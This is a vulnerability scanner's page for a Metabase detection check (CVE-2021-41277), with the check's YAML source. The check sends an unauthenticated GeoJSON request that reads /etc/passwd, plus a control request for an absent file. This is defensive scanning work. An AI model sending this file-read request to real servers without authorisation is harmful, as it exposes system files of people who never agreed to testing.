Metabase — 1 vulnerability check

noctis ships 1 vulnerability check for Metabase, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Metabase Unauthenticated Local File Inclusion via GeoJSON URL

CVECVE-2021-41277
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/metabase/CVE-2021-41277.yaml

Detects CVE-2021-41277 by fetching /api/geojson?url=file:///etc/passwd and confirming /etc/passwd content in the response. The same request is then sent for an absent file in a random missing directory, and the finding is raised only when that control is answered without passwd content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. HTTP(S) request GET /api/geojson?url=file:///etc/passwd
  2. Checks probe_resp.body for root:
  3. Checks probe_resp.body for root:.*:0:0
  4. HTTP(S) request GET /api/geojson?url=file:///noctis-absent-{{oob_token}}/etc/passwd
  5. Parses / computes the next value with a Rhai script
  6. Checks lfi_file for ^/etc/passwd$ → finding QoD 75: GET /api/geojson?url=file:///etc/passwd returned /etc/passwd content (root:...:0:0:); the same request for an absent file did not

References:

Feed source — tests/vulnerabilities/metabase/CVE-2021-41277.yaml
uid: a893aecb-0102-4bd6-b231-166732c409d8
name: "Metabase Unauthenticated Local File Inclusion via GeoJSON URL"
description: |
  Detects CVE-2021-41277 by fetching /api/geojson?url=file:///etc/passwd and
  confirming /etc/passwd content in the response. The same request is then
  sent for an absent file in a random missing directory, and the finding is
  raised only when that control is answered without passwd content, so a
  server that answers every path with the same file is not reported.
cves: [CVE-2021-41277]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [metabase, lfi, file-read, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-41277"
  - "https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr"

# Absent-file control (#2384): after a passwd hit, url=file:///noctis-absent-
# <random>/etc/passwd is requested and the finding is raised only when that
# control gets an HTTP reply without passwd content (fail closed). Metabase
# answers it with an error (the file cannot be read).
steps:
  - id: init
    action: set_var
    var_name: metabase_ok
    var_value: false

  - id: init-probe-resp
    action: set_var
    var_name: probe_resp
    var_value: {status: 0, body: ""}

  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {status: 0, body: ""}

  - id: init-lfi-file
    action: set_var
    var_name: lfi_file
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: probe
    action: http_request
    method: GET
    path: /api/geojson?url=file:///etc/passwd
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: probe_resp

  - id: check-passwd
    action: match
    source: probe_resp.body
    pattern: "root:"
    condition: "probe_resp.status == 200"
    on_match:
      set_vars:
        metabase_ok: true

  # No finding here: the reply is the passwd file. Raised below once the
  # absent-file control is clean.
  - id: confirm-lfi
    action: match
    source: probe_resp.body
    pattern: "root:.*:0:0"
    condition: "metabase_ok == true"
    on_match:
      set_vars:
        lfi_file: "/etc/passwd"

  # A random missing directory, still ending in etc/passwd, so a honeypot that
  # keys a fake file on that name answers it too.
  - id: control
    action: http_request
    method: GET
    path: "/api/geojson?url=file:///noctis-absent-{{oob_token}}/etc/passwd"
    port: "{{port}}"
    condition: 'lfi_file != ""'
    tls_insecure: true
    timeout_secs: 10
    store_as: ctrl_resp

  # Fail closed: the control must have been answered, without passwd content.
  - id: control-verdict
    action: script
    condition: 'lfi_file != ""'
    code: |
      ctrl_resp.status != 0 && !ereg("root:[^:\\r\\n]*:0:[01]:", ctrl_resp.body)
    store_as: ctrl_clean

  - id: report-lfi
    action: match
    source: lfi_file
    pattern: "^/etc/passwd$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.32
        qod: 75
        evidence: "GET /api/geojson?url=file:///etc/passwd returned /etc/passwd content (root:...:0:0:); the same request for an absent file did not"

View these feeds on GitHub